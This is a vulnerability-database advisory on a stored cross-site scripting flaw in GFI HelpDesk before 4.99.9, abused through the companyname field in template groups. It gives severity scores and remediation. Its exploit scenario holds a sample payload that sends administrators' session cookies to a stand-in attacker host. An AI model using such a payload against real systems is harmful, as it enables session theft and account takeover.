EUVD-2026-23926Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
5DescriptionCVE.org
GFI HelpDesk before 4.99.9 contains a stored cross-site scripting vulnerability in the template group creation and editing functionality that allows authenticated administrators to inject arbitrary JavaScript by manipulating the companyname POST parameter without HTML sanitization. Attackers can inject malicious scripts through the companyname field that execute in the browsers of any administrator viewing the Templates > Groups page.
AnalysisAI
GFI HelpDesk before version 4.99.9 allows authenticated administrators to inject stored cross-site scripting (XSS) payloads via the companyname parameter in template group creation and editing, with malicious scripts executing in the browsers of other administrators viewing the Templates > Groups page. The attack requires administrative credentials and user interaction (victim viewing the affected page), but succeeds against all administrator accounts with access to that interface.
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires the attacker to possess valid administrative credentials with permissions to create or edit template groups in GFI HelpDesk. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | CVSS score of 4.8 reflects moderate severity with low real-world urgency despite the stored XSS classification. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An administrator with malicious intent or a compromised administrative account creates a new template group and enters JavaScript code (e.g., `<img src=x onerror='fetch("https://attacker.com?cookie=" + document.cookie)'>`) in the companyname field. When other administrators navigate to the Templates > Groups page to review or edit template groups, the injected script executes in their browser, stealing session cookies or redirecting them to a phishing site. … |
| Remediation | Upgrade GFI HelpDesk to version 4.99.9 or later, which includes HTML sanitization and proper output encoding for the companyname parameter and related template group fields. … Detailed patch versions, workarounds, and compensating controls in full report. |
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